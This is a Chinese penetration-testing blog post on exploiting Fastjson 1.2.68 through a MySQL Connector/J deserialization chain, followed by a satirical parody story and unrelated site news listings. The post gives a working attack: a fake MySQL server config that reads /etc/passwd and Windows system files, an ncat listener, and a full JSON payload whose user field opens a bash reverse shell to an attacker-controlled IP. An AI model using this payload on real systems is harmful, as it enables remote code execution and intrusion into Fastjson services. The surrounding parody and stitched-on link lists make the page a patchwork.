fastjson 1268-jdbc yakit渗透
如题要打jdbc。具体怎么查看往期文章0x00 信息收集确定fastjson版本1.2.68查不在黑名单的类100个查敏感依赖20个。其中可以看到com.mysql.cj.protocol.AuthenticationProvider表明使用mysql-connect-8.0.x参照这个表去辨别类名 (Class Name)对应的 JDBC 驱动版本com.mysql.jdbc.Buffer3.0.x - 5.1.xcom.mysql.cj.api.authentication.AuthenticationProvider8.0.9-rccom.mysql.cj.protocol.AuthenticationProvider8.0.x - 9.0.xcom.mysql.jdbc.JDBC4Connection5.1.21及部分5.1.xcom.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection8.0.31及9.0.0但是具体是什么版本就不好说了只能试探性地尝试。这边用java chains自带的8.0.20测试了一下发现不行。于是搜罗了一下教程最后得知镜像是8.0.19的这你扯不扯。0x01 恩情ysoserial墙件fastjson要用到支持fastjson链的改版ysoserial和改版的MySQL_Fake_Server首先配置MySQL_Fake_Server就改前两个ysoserial和java8的路径就好{ config:{ ysoserialPath:/path/to/your/ysoserial-0.0.6-SNAPSHOT-all.jar, javaBinPath:/path/to/your/jdk8/java, fileOutputDir:./fileOutput/, displayFileContentOnScreen:true, saveToFile:true }, fileread:{ win_ini:c:\\windows\\win.ini, win_hosts:c:\\windows\\system32\\drivers\\etc\\hosts, win:c:\\windows\\, linux_passwd:/etc/passwd, linux_hosts:/etc/hosts, index_php:index.php, ssrf:https://www.baidu.com/, __defaultFiles:[/etc/hosts,c:\\windows\\system32\\drivers\\etc\\hosts] }, yso:{ Jdk7u21:[Jdk7u21,calc] } }推荐使用python3.10运行python3 server.pync监听ncat -lvnp 9999然后构造请求包并发送{ type: java.lang.AutoCloseable, type: com.mysql.cj.jdbc.ha.ReplicationMySQLConnection, proxy: { type: com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy, connectionUrl: { type: com.mysql.cj.conf.url.ReplicationConnectionUrl, masters: [ { host: 192.168.31.110 } ], slaves: [], properties: { host: 192.168.31.110, user: yso_Fastjson1_bash -i /dev/tcp/192.168.31.110/9999 01, dbname: dbname, password: pass, queryInterceptors: com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor, autoDeserialize: true, allowLoadLocalInfile: true } } } }最后也是轻松连上了最后附赠小剧场从Jackson访问回来金爷爷全然不顾身体的疲惫连夜找我们几个小标兵商量儿童日的安排。 谈得晚了金爷爷便送我们出门要司机送我们回家。 在去大门口的路上我们说 “金爷爷您回去休息吧。您刚从中国回来。” 金爷爷摇摇头 “不碍事。” “你们知道现在国际网络空间并不安宁。有很多系统把未知的危险藏在自己的内部而你们是未来的安全研究者你们学习漏洞、理解攻击链就是为了守护这个世界。” 我们都激动了眼里噙着泪花。 多好的金爷爷呀。 --- 金爷爷抬头看看天空。 “如果整个网络世界真的像这片天空一样安静就好了。” “可是总有一些隐藏的东西在无人注意的地方运行。” 说着金爷爷弯下腰从地上捡起一块写着 Fastjson 1.2.68 的碎片。 他仔细端详了一会儿又看向天空。 “这个东西已经在那里很久了。” “它伪装成普通的数据卫星却一直等待着有人向它发送特殊的信号。” 小标兵们顺着他的目光望去。 果然在遥远的天空中有一颗闪烁着光芒的卫星。 它的名字叫 Fastjson-1.2.68 间谍卫星。 --- 金爷爷微微一笑。 他从口袋里拿出了一个小盒子。 盒子上写着 ysoserial 他说 “这是我多年研究出来的链路制造器。” “它不是为了伤害无辜的人而是为了告诉大家一个错误的信任会造成什么后果。” 说完金爷爷轻轻启动了盒子。 一道无形的链路飞向天空。 穿过层层防护。 连接到了那颗间谍卫星。 卫星内部开始闪烁。 原来这颗卫星并不是独立运行。 它背后还隐藏着一个秘密能源核心 mysql-connect-8.0.19。 --- 很快天空中传来一道耀眼的光芒。 Fastjson间谍卫星突然开始失控。 “轰——” 它从天空中坠落下来。 小朋友们都鼓起掌来。 为金爷爷拥有如此强大的链路分析能力感到自豪。 --- 一会儿金爷爷叫来秘书。 问 “那颗卫星最后落在哪里了” 秘书查看报告 “好像落到了龙川服务器区域。” 金爷爷脸色一变。 “马上派人去检查。” “看看有没有造成不必要的问题。” --- 第四天我们听说龙川服务器发生了一些异常。 大家都很紧张。 这时金爷爷叫我们过去。 他依然那么慈祥让我们坐下。 他说 “任何技术都有两面性。” “攻击链可以帮助人发现问题也可能造成伤害。” 说着他低下头 “但我必须承认当初研究这条链路的时候我只想着证明卫星存在漏洞却没有第一时间想到所有可能受到影响的地方。” “这是我的失误。” “我会向大家说明情况。” --- 我们顿时热泪盈眶。 多好的金爷爷呀。 他在探索漏洞的过程中即使拥有强大的力量也愿意承认自己的不足。 从那以后我们学习 ysoserial研究 Fastjson分析 MySQL Connector/J 的时候都记住了金爷爷的话 真正强大的链路制造者 不是能够击落多少卫星的人 而是能够提前发现卫星危险并保护所有人的人。

相关新闻

华为入局墨水屏:从驱动算法到鸿蒙生态的全链路革新

华为入局墨水屏:从驱动算法到鸿蒙生态的全链路革新

1. 项目概述:当“搅局者”遇上“慢科技” “华为搅局墨水屏”,这个标题最近在数码圈和硬件开发者社区里传得挺热。作为一名长期关注显示技术和嵌入式开发的从业者,我第一眼看到这个组合,就觉得这事儿不简单。它不像是一个具体的产…

2026/8/8 12:50:18 阅读更多 →
Python爬虫构建个性化书籍推荐系统的工程实践

Python爬虫构建个性化书籍推荐系统的工程实践

1. 项目概述:基于Python爬虫的个性化书籍推荐系统 这个毕业设计项目是一个典型的"大数据推荐系统"实践案例,核心是通过Python爬虫技术构建书籍数据库,再结合用户行为数据实现个性化推荐。我在实际开发中发现,这类系统最…

2026/8/8 4:57:36 阅读更多 →
共享单车大数据分析实战:从GPS数据处理到可视化展示

共享单车大数据分析实战:从GPS数据处理到可视化展示

1. 项目概述:共享单车大数据分析实战去年帮学弟调试这个共享单车数据分析项目时,我们发现原始数据里藏着许多有意思的规律。这个基于Python技术栈的开源项目,完整实现了从原始GPS数据清洗到可视化展示的全流程,特别适合作为大数据…

2026/8/7 18:47:24 阅读更多 →

最新新闻

从游戏资源到虚拟舞台:逆向工程构建可交互虚拟演唱会全流程

从游戏资源到虚拟舞台:逆向工程构建可交互虚拟演唱会全流程

你点开一个视频,标题写着“虚拟演唱会”,画面里是二次元风格的虚拟角色在舞台上歌唱。你可能会想,这不就是一段预先渲染好的动画MV吗?和那些游戏里的过场动画有什么区别?区别就在于,你看到的这个“虚拟演唱…

2026/8/10 2:48:24 阅读更多 →
如何用Universal Android Debloater彻底清理安卓设备:5个简单步骤提升隐私与性能

如何用Universal Android Debloater彻底清理安卓设备:5个简单步骤提升隐私与性能

如何用Universal Android Debloater彻底清理安卓设备:5个简单步骤提升隐私与性能 【免费下载链接】universal-android-debloater Cross-platform GUI written in Rust using ADB to debloat non-rooted android devices. Improve your privacy, the security and ba…

2026/8/10 2:48:24 阅读更多 →
Windows粘滞键后门攻防实战:从FCKeditor漏洞到系统权限维持

Windows粘滞键后门攻防实战:从FCKeditor漏洞到系统权限维持

1. 项目概述:一次完整的Windows后门攻防演练最近在带新人做安全渗透测试的实战训练,发现很多朋友对Windows系统后门的原理和利用手法理解得比较模糊,尤其是那些看似“古老”但至今仍极具威胁的经典手法。正好,玄机靶场里的vulntar…

2026/8/10 2:48:24 阅读更多 →
SSM+Vue美食达人系统设计与实现指南

SSM+Vue美食达人系统设计与实现指南

1. 项目概述:基于SSMVue的美食达人系统设计与实现2026届计算机相关专业毕业设计中,一个典型的技术选型组合是SSM(SpringSpringMVCMyBatis)后端框架配合Vue.js前端框架。这个"美食达人"系统本质上是一个具有社交属性的美…

2026/8/10 2:48:24 阅读更多 →
构建云端存储自动化工作流:BaiduPCS-Go专业解决方案完整指南

构建云端存储自动化工作流:BaiduPCS-Go专业解决方案完整指南

构建云端存储自动化工作流:BaiduPCS-Go专业解决方案完整指南 【免费下载链接】BaiduPCS-Go iikira/BaiduPCS-Go原版基础上集成了分享链接/秒传链接转存功能 项目地址: https://gitcode.com/GitHub_Trending/ba/BaiduPCS-Go 在数字资产管理日益复杂的今天&…

2026/8/10 2:48:24 阅读更多 →
Python文本数据分析实战:从节目标题提取关键词与情感分析

Python文本数据分析实战:从节目标题提取关键词与情感分析

最近在整理一些娱乐节目相关的数据分析项目时,发现很多朋友对如何从零开始构建一个简单的“节目效果”分析工具很感兴趣。这类工具的核心,往往在于如何高效地处理和分析文本、视频标题等非结构化数据,并从中提取出有趣的信息点。本文将以一个…

2026/8/10 2:47:23 阅读更多 →

日新闻

GraphQL-CSS API全解析:useGqlCSS、GqlCSS组件与getStyles实用指南

GraphQL-CSS API全解析:useGqlCSS、GqlCSS组件与getStyles实用指南

GraphQL-CSS API全解析:useGqlCSS、GqlCSS组件与getStyles实用指南 【免费下载链接】graphql-css A blazing fast CSS-in-GQL™ library. 项目地址: https://gitcode.com/gh_mirrors/gr/graphql-css GraphQL-CSS是一个基于GraphQL的CSS-in-GQL™库&#xff0…

2026/8/10 0:00:02 阅读更多 →
告别语言障碍:KISS Translator 双语翻译插件终极指南

告别语言障碍:KISS Translator 双语翻译插件终极指南

告别语言障碍:KISS Translator 双语翻译插件终极指南 【免费下载链接】kiss-translator A simple, open source bilingual translation extension & Greasemonkey script (一个简约、开源的 双语对照翻译扩展 & 油猴脚本) 项目地址: https://gitcode.com/…

2026/8/10 0:00:02 阅读更多 →
BepInEx配置管理器:游戏插件配置的终极可视化解决方案

BepInEx配置管理器:游戏插件配置的终极可视化解决方案

BepInEx配置管理器:游戏插件配置的终极可视化解决方案 【免费下载链接】BepInEx.ConfigurationManager Plugin configuration manager for BepInEx 项目地址: https://gitcode.com/gh_mirrors/be/BepInEx.ConfigurationManager 你是否曾经因为游戏插件的复杂…

2026/8/10 0:00:02 阅读更多 →

周新闻

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁 【免费下载链接】baidupankey 在线查询网盘提取码(维护中 rm repo) 项目地址: https://gitcode.com/gh_mirrors/ba/baidupankey 你是否曾经在深夜寻找一份重要资料&#x…

2026/8/10 1:05:29 阅读更多 →
如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南 【免费下载链接】chinese_license_plate_generator 中国车牌生成器 项目地址: https://gitcode.com/gh_mirrors/ch/chinese_license_plate_generator 中国车牌生成器是一个基于Python的开源项目&#xff0c…

2026/8/10 1:05:29 阅读更多 →
收藏!小白程序员轻松入门大模型,从Harness工程开始实践

收藏!小白程序员轻松入门大模型,从Harness工程开始实践

文章强调学习大模型不应只关注模型本身,而应重视模型外的系统搭建,即Harness。提出AgentModelHarness的实用公式,详细介绍Harness的四个层次:持久化层、执行层、控制层和观察与验证层。文章还探讨了上下文工程、工具设计、AGENTS.…

2026/8/10 1:05:29 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/9 17:05:02 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/10 1:05:29 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/9 17:05:02 阅读更多 →